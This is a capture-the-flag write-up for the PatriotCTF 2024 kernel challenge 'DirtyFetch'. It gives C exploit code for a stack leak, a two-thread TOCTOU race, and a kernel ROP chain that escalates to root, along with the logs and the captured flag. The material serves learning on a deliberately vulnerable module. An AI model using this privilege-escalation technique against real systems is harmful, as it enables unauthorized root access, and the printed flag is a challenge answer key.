PatriotCTF 2024 - DirtyFetch
Solves: 9 (expert - 484)
My kernel is your kernel. Well, some of it. Here’s ioctl.
Author: Dylan (elbee3779)
nc chal.competitivecyber.club 8886
Team: Weak But Leet
Attachment: dirty_fetch.tar.gz pwn.c
DirtyFetch had a simple race condition in its kernel module, which could be used to overflow the stack to rop.
The module was accessable via ioctl
and provided functionality to
- (0x10) set a max length for requests to be read/write
- (0x20) allocate a storage buffer, which can be filled with user data
- (0x30) save the storage buffer to stack
- (0x40) load data from stack into user buffer
case 0x40:
unsigned long len;
if(get_user(len, (unsigned long *)ioctl_param) == -EFAULT){
printk(KERN_ALERT "Error fetching length!");
ret = -EFAULT;
}
if(copy_to_user((char *)ioctl_param, content, len % max) != 0){
printk(KERN_ALERT "Error reading data!");
ret = -EFAULT;
}
if(ret != -EFAULT){
ret = len % max;
}
break;
Conveniently, the stack buffer isn’t initialized, so we can directly read some leaks from it.
int fd;
unsigned long get_value(char *buffer, unsigned long offset)
{
return *((uint64_t *)(buffer + offset));
}
int load(int fd, char *buffer, size_t length)
{
set_value(buffer, 0, length);
return ioctl(fd, 0x40, buffer);
}
void set_value(char *buffer, unsigned long offset, unsigned long value)
{
*((uint64_t *)(buffer + offset)) = value;
}
int main()
{
char buffer[0x1000];
fd = open("/proc/vuln", O_RDWR);
// Leak kernel and canary from uninitialized stack content
load(fd, buffer, 239);
unsigned long kernel_leak = get_value(buffer, 0xe8) + 0xff00000000000000;
unsigned long kernel_base = kernel_leak - 0x35691f;
unsigned long canary = get_value(buffer, 0xb0);
printf("kernel leak : %p\n", kernel_leak);
printf("kernel base : %p\n", kernel_base);
printf("canary : %p\n", canary);
}
The leaked stack will look like this:
0x0000: 0xffff9e2b82cfa180 0x0000000000000041
0x0010: 0x6f3f415ce113b900 0x0000000000000014
0x0020: 0xffff9e2b8300d948 0xffff9e2b836f07a0
0x0030: 0xffff9e2b82cfa180 0x0000000000000000
0x0040: 0xffffb7e1801afd90 0xffffb7e1801afd90
0x0050: 0x6f3f415ce113b900 0x0000000000000001
0x0060: 0xffffb7e1801afed8 0x0000000000000003
0x0070: 0xffffb7e1801afeec 0x0000000000000000
0x0080: 0x0000000000000000 0xffffffffa03e078c
0x0090: 0xffff9e2b836f07a0 0xffff9e2b82cfa180
0x00a0: 0x0000000431cac513 0xffff9e2b83510026
0x00b0: 0x6f3f415ce113b900 0x0000000000000040 <= stack guard
0x00c0: 0xffffb7e1801afeb0 0x0000000000000000
0x00d0: 0xffff9e2b8300d948 0x0000000000000001
0x00e0: 0xffff9e2b8385b200 0x00ffffffa055691f <= x / kernel_leak
kernel leak : 0xffffffffa055691f
kernel base : 0xffffffffa0200000
canary : 0x6f3f415ce113b900
With a leak to kernel base and knowing the stack guard, we could now safely overflow the stack without breaking it.
But we’ll need to find a way to get around the validations in the module, which will try to hinder us to do that.
static ssize_t edit_storage(unsigned long buf) {
data * request;
int ret;
if(validate_buf(buf)){
request = get_storage_contents(buf);
storage = request;
ret = request->length;
}else{
request = NULL;
printk(KERN_ALERT "Specified size goes out of bounds.");
ret = -EFAULT;
}
return ret;
}
When we try to create a storage, edit_storage
will first call validate_buf
.
int validate_buf(unsigned long buf){
data * request = get_storage_contents(buf);
if(request == NULL){
printk(KERN_ALERT "Error fetching storage from userspace!");
return -ENOMEM;
}
int ret = request->length < MAX_SIZE; // Check for valid size
kfree(request->content);
kfree(request);
return ret;
}
data * get_storage_contents(unsigned long buf){
data * request = (data *)kmalloc(sizeof(data),GFP_KERNEL);
if(request == NULL){
return NULL;
}
copy_from_user(request, (data *)buf, sizeof(data));
char * content = (char *)kmalloc((request->length),GFP_KERNEL);
if(content == NULL){
return NULL;
}
copy_from_user(content,request->content,request->length);
memcpy(request, &content, 8);
return request;
}
validate_buf
will allocate a storage object, copy our input object into it and then check if request->length < MAX_SIZE
and free the allocated storage object again.
If the length check succeeded, edit_storage
would then allocate the storage again and copy our input object into it again.
But since there are no mutexes in place and our input object gets copied twice (once in validate_buf
to check if it has a valid length
and then again in edit_storage
to create the final storage object) it’s a simple TOCTOU problem.
If we set length
to a valid value before validate_buf
, wait until it finished and then switch to a bigger value (> MAXSIZE
) before edit_storage
calls get_storage_contents
again, this would result in a request
object with length > MAX_SIZE
.
We can do this by using two threads. One will constantly set length
of our data
object to a valid value, wait briefly and then set it to a bigger value. The second thread will then try to allocate a storage buffer over and over again until the size of the allocated buffer matches our target size.
typedef struct data
{
char *content;
size_t length;
} data;
data maindata;
int init_request_running=1;
...
void *threadSwitchLength(void *arg)
{
puts("Start switching data length");
while (init_request_running)
{
maindata.length = 100;
usleep(100);
maindata.length = 0x200;
usleep(100);
}
}
void *threadWriteBuffer(void *arg)
{
puts("Start allocating storage buffer");
while (init_request_running)
{
unsigned long result = ioctl(fd, 0x20, &maindata);
// Stop, when we won the race
if (result == 0x200)
init_request_running = 0;
}
}
int main() {
...
maindata.content = buffer;
unsigned long *ptr = buffer + 0xf0;
*ptr++ = canary;
*ptr++ = 0x0;
*ptr++ = 0x0;
*ptr++ = 0x0;
*ptr++ = 0xdeadbeef;
// Race to get a storage with a length > MAX_SIZE
pthread_t tSwitchLength;
pthread_t tWriteBuffer;
pthread_create(&tSwitchLength, NULL, threadSwitchLength, NULL);
pthread_create(&tWriteBuffer, NULL, threadWriteBuffer, NULL);
pthread_join(tSwitchLength, NULL);
pthread_join(tWriteBuffer, NULL);
}
As soon as we win the race and the request storage is allocated with a size of 0x200
, the threads will stop.
Now, we can save
the storage object into the stack variable content
, which will then overflow it and executes our ropchain on returning from ioctl
.
int save(int fd)
{
return ioctl(fd, 0x30, 0);
}
int main(int argc, char* argv[]) {
...
pthread_join(tSwitchLength, NULL);
pthread_join(tWriteBuffer, NULL);
// Request is now bigger than content and save will return into ropchain
save(fd);
}
[ 13.956657] BUG: unable to handle page fault for address: 00000000deadbeef
[ 13.956848] #PF: supervisor instruction fetch in kernel mode
[ 13.956949] #PF: error_code(0x0010) - not-present page
[ 13.957109] PGD 8000000003837067 P4D 8000000003837067 PUD 0
[ 13.957318] Oops: 0010 [#1] SMP PTI
[ 13.957662] CPU: 0 PID: 99 Comm: pwn Tainted: G O 5.4.0 #1
[ 13.957817] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 13.958406] RIP: 0010:0xdeadbeef
[ 13.958588] Code: Bad RIP value.
With this, we can now prepare a ropchain to do commit_creds(prepare_kernel_cred(0))
and hopefully get back into our code.
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state()
{
__asm__ __volatile__(
".intel_syntax noprefix;"
"mov %0, cs;"
"mov %1, ss;"
"mov %2, rsp;"
"pushf;"
"pop %3;"
".att_syntax"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags));
}
...
void safe_exit(void)
{
puts("Back in userland");
}
int main(int argc, char *argv[]) {
save_state();
...
unsigned long prepare_kernel_cred = kernel_base + 0x0895e0;
unsigned long commit_creds = kernel_base + 0x892c0;
unsigned long swapgs = kernel_base + 0xc00a2f; // swapgs_restore_regs_and_return_to_usermode
unsigned long poprdi = kernel_base + 0x2c3a;
...
// Prepare rop chain for overwrite in content
maindata.content = buffer;
unsigned long *ptr = buffer + 0xf0;
*ptr++ = canary;
*ptr++ = 0x0;
*ptr++ = 0x0;
*ptr++ = 0x0;
*ptr++ = poprdi;
*ptr++ = 0;
*ptr++ = prepare_kernel_cred;
*ptr++ = commit_creds;
*ptr++ = swapgs + 22;
*ptr++ = 0x0;
*ptr++ = 0x0;
*ptr++ = (unsigned long)safe_exit;
*ptr++ = user_cs;
*ptr++ = user_rflags;
*ptr++ = user_sp;
*ptr++ = user_ss;
// Race to get a storage with a length > MAX_SIZE
pthread_t tSwitchLength;
pthread_t tWriteBuffer;
...
}
First, we use save_state
to store the current registers from userland process cs
, ss
, rsp
and rflags
, which are needed later to switch back from kernelmode to usermode.
The offsets for prepare_kernel_cred
, commit_creds
, etc. can be retrieved from /proc/kallsyms
(patching initramfs
before to execute as root user).
When ioctl
returns, it will run into our ropchain, and first do a pop rdi
to set rdi
to 0
and call prepare_kernel_cred
to create a creds
object (with user id 0
). Normally we’d now have to move the result from rax
to rdi
, but after prepare_kernel_cred
both rax
and rdi
already pointed to the correct object, so we can directly call commit_creds
to make them the current creds.
Now we’re already root
, but we still need to get back into usermode.
For this, we can use swapgs_restore_regs_and_return_to_usermode
from the kernel itself (which can also be found via /proc/kallsyms
).
0xFFFFFFFF81C00A2F pop r15
0xFFFFFFFF81C00A31 pop r14
0xFFFFFFFF81C00A33 pop r13
0xFFFFFFFF81C00A35 pop r12
0xFFFFFFFF81C00A37 pop rbp
0xFFFFFFFF81C00A38 pop rbx
0xFFFFFFFF81C00A39 pop r11
0xFFFFFFFF81C00A3B pop r10
0xFFFFFFFF81C00A3D pop r9
0xFFFFFFFF81C00A3F pop r8
0xFFFFFFFF81C00A41 pop rax
0xFFFFFFFF81C00A42 pop rcx
0xFFFFFFFF81C00A43 pop rdx
0xFFFFFFFF81C00A44 pop rsi
0xFFFFFFFF81C00A45 mov rdi, rsp
0xFFFFFFFF81C00A48 mov rsp, gs:qword_6004
0xFFFFFFFF81C00A51 push qword ptr [rdi+30h]
0xFFFFFFFF81C00A54 push qword ptr [rdi+28h]
0xFFFFFFFF81C00A57 push qword ptr [rdi+20h]
0xFFFFFFFF81C00A5A push qword ptr [rdi+18h]
0xFFFFFFFF81C00A5D push qword ptr [rdi+10h]
0xFFFFFFFF81C00A60 push qword ptr [rdi]
0xFFFFFFFF81C00A62 push rax
0xFFFFFFFF81C00A63 jmp short loc_FFFFFFFF81C00AA8
0xFFFFFFFF81C00AA8 loc_FFFFFFFF81C00AA8:
0xFFFFFFFF81C00AA8 pop rax
0xFFFFFFFF81C00AA9 pop rdi
0xFFFFFFFF81C00AAA swapgs
We can skip all the pop
s at the beginning and just start at swapgs_restore_regs_and_return_to_usermod+22
. Since this will pop 2 values (rax
and rdi
) from the stack, we just add two dummy values in our ropchain for this.
For swapgs
we then add a pointer to safe_exit
as new rip
and add the cs
, rflags
, sp
and ss
from userland, which we retrieved in the begining. This should get us back into usermode and execute safe_exit
.
[ 30.857983] Opened.
kernel leak : 0xffffffffbbb5691f
kernel base : 0xffffffffbb800000
canary : 0xd1bd85e84272b100
Start allocating storage buffer
[ 30.863118] Data copied!
[ 30.863185] Data copied!
...
[ 30.866170] Data copied!
Start switching data length
[ 30.866247] Data copied!
[ 30.866998] Data copied!
[ 30.867345] Specified size goes out of bounds.
[ 30.867435] Error copying userspace data!
[ 30.867616] Data copied!
[ 30.867789] Specified size goes out of bounds.
[ 30.867845] Error copying userspace data!
...
[ 30.879654] Data copied!
Back in userland
[ 30.882420] Data saved!
Segmentation fault
Looking good. Since we’re now root
in safe_exit
, we can just read the flag and print it.
void safe_exit(void)
{
char buffer[100];
int fd = open("/flag.txt", O_RDONLY);
read(fd, buffer, 100);
puts(buffer);
}
kernel leak : 0xffffffff8bf5691f
kernel base : 0xffffffff8bc00000
canary : 0x978e4b06167e6800
Start allocating storage buffer
[ 63.290889] Data copied!
...
[ 63.293273] Data copied!
Start switching data length
[ 63.293372] Data copied!
[ 63.294151] Data copied!
[ 63.294599] Specified size goes out of bounds.
[ 63.294682] Error copying userspace data!
[ 63.294948] Data copied!
...
[ 63.497838] Specified size goes out of bounds.
[ 63.497911] Error copying userspace data!
[ 63.498172] Data copied!
[ 63.498406] Data copied!
pctf{t1m3_2_k3rn3l_r4c3_eea6228cb8}
$�9�
[ 63.502187] Data saved!
Segmentation fault
/ $